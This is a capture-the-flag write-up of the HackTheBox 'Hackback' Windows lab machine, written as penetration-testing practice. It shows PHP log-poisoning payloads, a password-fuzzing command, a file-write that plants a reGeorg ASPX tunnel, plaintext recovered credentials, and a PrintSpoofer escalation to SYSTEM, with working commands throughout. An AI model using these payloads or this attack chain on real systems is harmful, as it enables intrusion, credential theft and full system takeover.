HTB: Hackback Writeup
Hackback - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Hackback |
| OS | Windows |
| Difficulty | Insane |
| Points | N/A |
| Release Date | 2019 |
| IP Address | 10.129.228.106 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐⭐
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Hackback is an insane-difficulty Windows machine that demonstrates advanced enumeration, web application security, firewall evasion, and privilege escalation techniques. The attack path involves discovering a GoPhish phishing infrastructure with multiple virtual hosts, deobfuscating a ROT13-encoded JavaScript file to find hidden credentials, achieving RCE through log poisoning while bypassing PHP disabled_functions, tunneling through ASPX to access WinRM behind a firewall, and escalating privileges using SeImpersonatePrivilege. The box showcases realistic enterprise security configurations and requires creative problem-solving at each stage.
TL;DR: Port 64831 GoPhish → vhost enumeration → ROT13-decoded JS reveals admin panel path → password fuzzing → PHP log poisoning RCE with disabled_functions bypass → credentials in web.config.old → reGeorg ASPX SOCKS tunnel → WinRM as simple → SeImpersonatePrivilege + PrintSpoofer → SYSTEM
Reconnaissance
Port Scanning
# Initial scan reveals unusual portsnmap -sC -sV -T4 -p- 10.129.228.106Results:
- Port 80 (HTTP): Microsoft IIS web server
- Port 6666: Microsoft HTTPAPI HTTP/2.0 command API (unusual service allowing remote command execution as NETWORK SERVICE)
- Port 64831 (HTTPS): GoPhish phishing framework login panel
The port 6666 service is particularly interesting - testing with curl http://10.129.228.106:6666/ --http2 reveals a command API that responds to requests like /help, /whoami, /services, and /netstat. The /services endpoint discloses a custom service named UserLogger running as LocalSystem, which becomes relevant later.
Service Enumeration
Port 80 - IIS Web Server
Initial access to http://10.129.228.106 shows only a static image with no obvious functionality. Directory brute-forcing reveals nothing of immediate interest on the default vhost.
Port 64831 - GoPhish
Accessing https://10.129.228.106:64831 (accepting the self-signed certificate) presents a GoPhish administrative login panel. Testing default credentials admin:gophish grants access to the phishing campaign management interface.
Within GoPhish, several email templates are configured targeting users with phishing pages. The templates reveal multiple virtual hosts:
www.hackthebox.htb- HTB login page cloneadmin.hackback.htb- Administrative interface- Additional phishing sites for PayPal, Facebook, Twitter
Virtual Host Configuration:
# Add discovered vhosts to /etc/hostsecho "10.129.228.106 hackback.htb www.hackthebox.htb admin.hackback.htb" >> /etc/hostsAdmin Virtual Host Enumeration
The admin.hackback.htb vhost shows a login page with non-functional credentials. Page source contains a comment hinting at JavaScript files in the /js/ directory.
# Enumerate JavaScript files on admin vhostgobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -u http://admin.hackback.htb/js/ -x js -t 50Discovery: private.js file found at http://admin.hackback.htb/js/private.js
Vulnerability Assessment
Identified vulnerabilities:
- Information Disclosure: GoPhish default credentials expose phishing infrastructure and target vhosts
- Weak Obfuscation: ROT13-encoded JavaScript containing sensitive paths and credentials
- Command Injection: HTTP/2 API on port 6666 (though not directly exploited in final chain)
- PHP Log Poisoning: User-controlled input logged without sanitization
- Credential Exposure: Plaintext credentials in backup configuration files
- Firewall Misconfiguration: Internal WinRM accessible via ASPX tunnel
- Dangerous Privileges: Low-privilege user with
SeImpersonatePrivilege
Initial Foothold
ROT13 Deobfuscation
The private.js file contains heavily obfuscated code. Initial inspection reveals terms like “ine” and “shapgvba” - clear indicators of ROT13 encoding (ROT13 of “var” and “function”).
# Decode ROT13curl http://admin.hackback.htb/js/private.js | rot13 > decoded.jsEven after ROT13 decoding, the JavaScript remains obfuscated with character encoding (\k escape sequences) and minification. Using an online JavaScript beautifier and then executing the code in browser DevTools console reveals key variables:
// Execute in browser console to extract obfuscated valuesconsole.log(x, z, h, y, t, s, i, k, w);Decoded message:
Secure Login BypassRemember the secret path is <redacted>Just in case I loose access to the admin panel?action=(show,list,exec,init)&site=(twitter,paypal,facebook,hackthebox)&password=********&session=Nothing more to sayKey findings:
- Secret path:
<redacted> - Parameters:
action,site,password(8 characters),session - Possible actions:
show,list,exec,init
Web Admin Discovery
# Fuzz for files in the secret directorygobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -u http://admin.hackback.htb/<redacted>/ \ -x php,aspx,asp -t 50Discovery: webadmin.php found in the secret directory.
Direct access to http://admin.hackback.htb/<redacted>/webadmin.php results in a redirect (HTTP 302) to the login page.
Password Fuzzing
The obfuscated JavaScript indicated an 8-character password. Using a targeted wordlist:
# Extract 8-character passwords from rockyougrep '^.\{8\}$' /usr/share/wordlists/rockyou.txt > 8char.txt
# Fuzz password parameter with ffufffuf -w 8char.txt -u \ 'http://admin.hackback.htb/<redacted>/webadmin.php?action=list&site=hackthebox&password=FUZZ&session=' \ -fw 3Result: Password found: 12345678
Web Admin Functionality
Testing the discovered password with the list action:
# List available logscurl 'http://admin.hackback.htb/<redacted>/webadmin.php?action=list&site=hackthebox&password=12345678&session='Response shows two log files with SHA256 hash filenames. The show action requires a session parameter to display log contents.
Key insight: The session parameter is the SHA256 hash of the client IP address. This can be determined by observing the log filenames generated when accessing the phishing pages.
# Calculate session hash for local IPecho -n "10.10.15.180" | sha256sum# Result: f4a7b0...PHP Log Poisoning to RCE
The phishing pages log credentials submitted via POST requests. These logs can be viewed through webadmin.php. By injecting PHP code into the username field of the phishing login form, we achieve remote code execution.
Test for code execution:
# Submit PHP code as username to phishing pagecurl -X POST http://www.hackthebox.htb \ -d "username=<?php echo 'pwned'; ?>&password=test&_token=&submit="
# View logs with calculated session hashcurl 'http://admin.hackback.htb/<redacted>/webadmin.php?action=show&site=hackthebox&password=12345678&session=f4a7b0c8d9e6a5b3c2d1e0f9a8b7c6d5e4f3a2b1c0d9e8f7a6b5c4d3e2f1a0b9'Result: The string “pwned” appears in the log output, confirming PHP code execution.
Testing system() function:
# Attempt system command executioncurl -X POST http://www.hackthebox.htb \ -d "username=<?php system('whoami'); ?>&password=test&_token=&submit="The whoami output does not appear in logs - the system() function (and likely other command execution functions like exec(), shell_exec(), passthru()) are disabled via PHP’s disable_functions directive. This is a common security hardening measure.
Bypassing disable_functions
While command execution functions are blocked, file manipulation functions like file_get_contents(), file_put_contents(), and scandir() typically remain available. These can be used for enumeration and file operations.
# List directory contentscurl -X POST http://www.hackthebox.htb \ -d "username=<?php print_r(scandir('C:/')); ?>&password=test&_token=&submit="
# Read file contents (base64-encoded for binary safety)curl -X POST http://www.hackthebox.htb \ -d "username=<?php echo base64_encode(file_get_contents('C:/inetpub/wwwroot/new_phish/admin/web.config.old')); ?>&password=test&_token=&submit="Credential Discovery
Enumerating the web directories reveals a backup configuration file:
Path: C:\inetpub\wwwroot\new_phish\admin\web.config.old
<!-- Extracted from web.config.old --><authentication mode="Windows"> <identity impersonate="true" userName="simple" password="ZonoProprioZomaro:-(" /></authentication>Credentials obtained: simple:ZonoProprioZomaro:-(
These credentials suggest a domain or local user with specific service account privileges.
ASPX Tunneling for Firewall Bypass
The HTTP/2 API on port 6666 revealed via netstat output that WinRM (port 5985) is listening on localhost but firewalled externally. To access internal services, we need to establish a tunnel through the IIS web server.
reGeorg SOCKS Proxy:
reGeorg is a tool that creates a SOCKS proxy through a web shell, allowing tools like proxychains to access internal network resources. Since IIS supports ASPX, we can upload tunnel.aspx.
# Download reGeorg tunnel scriptwget https://raw.githubusercontent.com/sensepost/reGeorg/master/tunnel.aspx
# Upload via file_put_contents through log poisoning# First, base64 encode the ASPX file locallybase64 tunnel.aspx > tunnel.b64
# Inject PHP to write the file (simplified - actual implementation uses chunking for large files)# Username field: <?php file_put_contents('C:/inetpub/wwwroot/new_phish/admin/<redacted>/tunnel.aspx', base64_decode('base64_content_here')); ?>Once uploaded, verify the tunnel is accessible:
# Test tunnel endpointcurl http://admin.hackback.htb/<redacted>/tunnel.aspx# Should return: "Georg says, 'All seems fine'"Start SOCKS proxy:
# Start reGeorg proxy on local port 1080python reGeorgSocksProxy.py -p 1080 \ -u http://admin.hackback.htb/<redacted>/tunnel.aspxConfigure proxychains:
# Edit /etc/proxychains4.conf# Add to [ProxyList] section:socks4 127.0.0.1 1080Verify internal port access:
# Scan internal ports through SOCKS proxyproxychains nmap -sT -Pn -n 10.129.228.106 -p 5985,135,445# -sT: Full TCP connect (required through SOCKS)# -Pn: Skip ping (often blocked through proxies)# -n: No DNS resolutionResult confirms port 5985 (WinRM) is accessible through the tunnel.
WinRM Access
With valid credentials and tunneled access to WinRM, we can establish a remote PowerShell session:
# Connect via evil-winrm through proxychainsproxychains evil-winrm -i 10.129.228.106 -u simple -p 'ZonoProprioZomaro:-('Shell obtained as: HACKBACK\simple
*Evil-WinRM* PS C:\Users\simple\Documents> whoamihackback\simple
*Evil-WinRM* PS C:\Users\simple\Documents> whoami /groups# Output shows simple is member of:# - BUILTIN\Users# - HACKBACK\project-managers# - Mandatory Label\Medium Mandatory Level
*Evil-WinRM* PS C:\Users\simple\Documents> whoami /priv# Notable privilege:# SeImpersonatePrivilege Impersonate a client after authentication EnabledKey observation: The simple user has SeImpersonatePrivilege enabled, which is unusual for a standard user account and indicates potential for privilege escalation.
Privilege Escalation
SeImpersonatePrivilege Exploitation
The SeImpersonatePrivilege allows a process to impersonate any token it can obtain a handle to. This is commonly exploited using tools like:
- JuicyPotato (Windows Server 2016 and earlier)
- RoguePotato (Windows Server 2019+)
- PrintSpoofer (Modern Windows, exploits Print Spooler service)
Given that Hackback is a 2019-era machine and the presence of SeImpersonatePrivilege on a low-privilege user, PrintSpoofer is the most appropriate tool.
PrintSpoofer Exploitation:
PrintSpoofer exploits the Print Spooler service to trigger an authentication callback to a named pipe controlled by the attacker. When the SYSTEM-level Print Spooler service authenticates to the pipe, the attacker can impersonate its token and execute commands as SYSTEM.
# Download PrintSpoofer64.exe on attacking machinewget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
# Upload to target via evil-winrm*Evil-WinRM* PS C:\Users\simple\Documents> upload /path/to/PrintSpoofer64.exeExecute PrintSpoofer:
# Run PrintSpoofer to get SYSTEM shell*Evil-WinRM* PS C:\Users\simple\Documents> .\PrintSpoofer64.exe -i -c cmd# -i: Interact with the spawned process# -c: Command to execute
# Alternative: Execute commands directly as SYSTEM*Evil-WinRM* PS C:\Users\simple\Documents> .\PrintSpoofer64.exe -c "whoami"# Output: nt authority\systemAccess flags:
# User flag (accessible as simple)*Evil-WinRM* PS C:\Users\hacker\Desktop> type user.txt<redacted>
# Root flag - note the decoy!# The visible root.txt is a decoy. The real flag is in an Alternate Data Stream (ADS)*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt# This shows a fake flag
# Read the actual flag from ADS*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt:flag.txt<redacted>
# Or discover ADS using streams*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir /r# Shows root.txt:flag.txt streamAlternative Path (Intended but Longer)
The official intended path involves:
- Command Injection in
clean.ini- TheC:\util\scripts\clean.iniconfiguration file is used by a scheduled task. TheLogFileparameter is vulnerable to command injection. - Lateral Movement to
hacker- By injecting commands, gain code execution as thehackeruser who runs the scheduled task. - UserLogger Service Abuse - The
hackeruser has permissions to modify a service that runs as SYSTEM (theUserLoggerservice discovered on port 6666). - Arbitrary File Write - Exploit the service to write arbitrary files to protected locations.
- DiagHub DLL Hijacking - Write a malicious DLL to
System32and trigger it via the DiagHub service to achieve SYSTEM execution.
This path is significantly more complex and requires:
- Waiting for scheduled task execution (5-minute intervals)
- Understanding Windows service permissions (using
accesschk.exe) - Exploiting arbitrary write vulnerabilities
- DLL hijacking techniques
The PrintSpoofer approach is more efficient given the presence of SeImpersonatePrivilege and represents a common real-world privilege escalation path.
Attack Chain Summary
GoPhish (64831) Discovery ↓Virtual Host Enumeration (admin.hackback.htb) ↓ROT13 JavaScript Deobfuscation → Secret Path + Parameters ↓Password Fuzzing → 12345678 ↓PHP Log Poisoning RCE (disabled_functions bypass via file functions) ↓Credential Discovery (web.config.old) → simple:ZonoProprioZomaro:-( ↓ASPX reGeorg Tunnel Upload → SOCKS Proxy ↓WinRM Access (port 5985 via tunnel) as simple ↓SeImpersonatePrivilege Exploitation (PrintSpoofer) ↓SYSTEM Shell → Root Flag (ADS: root.txt:flag.txt)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
gobuster | Directory and file fuzzing on web servers |
curl | HTTP requests for testing APIs and web functionality |
ffuf | Fast web fuzzing for password discovery |
rot13 | ROT13 decoding of obfuscated JavaScript |
reGeorg | ASPX-based SOCKS proxy for firewall bypass |
proxychains | Routing traffic through SOCKS proxy |
evil-winrm | WinRM client for remote PowerShell access |
PrintSpoofer | SeImpersonatePrivilege exploitation for SYSTEM |
Key Learnings
Techniques Practiced
- Multi-stage enumeration: Following breadcrumbs from GoPhish → vhosts → JavaScript → hidden endpoints
- Code deobfuscation: ROT13 decoding and JavaScript beautification to extract secrets
- Web application exploitation: PHP log poisoning with
disabled_functionsbypass using file manipulation functions - Tunneling and pivoting: ASPX-based SOCKS proxy (reGeorg) to access firewalled internal services
- Windows privilege escalation:
SeImpersonatePrivilegeexploitation via PrintSpoofer - NTFS forensics: Alternate Data Streams (ADS) for flag hiding/discovery
Lessons Learned
-
Always enumerate virtual hosts: Modern web applications often use multiple vhosts. Tools like GoPhish may reveal target domains, and DNS/vhost enumeration is critical. In this case, GoPhish templates directly disclosed phishing vhosts.
-
Obfuscation ≠ Security: ROT13 is trivial to decode, and even complex JavaScript obfuscation can be bypassed by executing code in a browser console to dump variable values. Never rely on client-side obfuscation for security.
-
disable_functionscan often be bypassed: While PHP’sdisable_functionsblocks command execution, file manipulation functions (scandir,file_get_contents,file_put_contents) are rarely disabled and provide alternative paths to enumerate and exploit systems. -
Tunneling is essential for internal network access: When critical services like WinRM are firewalled, web shells that support tunneling (reGeorg, Chisel, Ligolo) are invaluable. ASPX is particularly effective on Windows IIS servers.
-
SeImpersonatePrivilegeis powerful: Any user with this privilege can escalate to SYSTEM on Windows via multiple techniques (JuicyPotato, RoguePotato, PrintSpoofer). Always checkwhoami /privearly in enumeration. -
Look for Alternate Data Streams: On modern Windows CTF boxes, ADS is a common hiding place for flags or sensitive data. Use
dir /ror PowerShellGet-Item -Stream *to discover hidden streams. -
Proxychains configuration matters: When using SOCKS proxies, ensure proper timeouts in
proxychains.conf, usesocks4for compatibility, and prefer-sT(full TCP connect) scans withnmapto avoid SYN scan issues through proxies. -
Defense-in-depth defeats single-layer attacks: Hackback demonstrates realistic security: web application hardening (
disable_functions), firewall rules (internal WinRM), and the intended path requires chaining multiple vulnerabilities. Real-world environments rarely have a single “magic bullet” exploit.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>Note: Flags on this 2019-era box are 32-character hexadecimal strings, not wrapped in HTB{REDACTED} format. The root flag is stored in an Alternate Data Stream (root.txt:flag.txt) with a decoy flag in the visible root.txt file.
References
This writeup was informed by the official HackTheBox writeup (Document No D19.100.27) prepared by MinatoTW, which provided valuable context for the intended exploitation path and technical explanations of Windows privilege escalation mechanisms.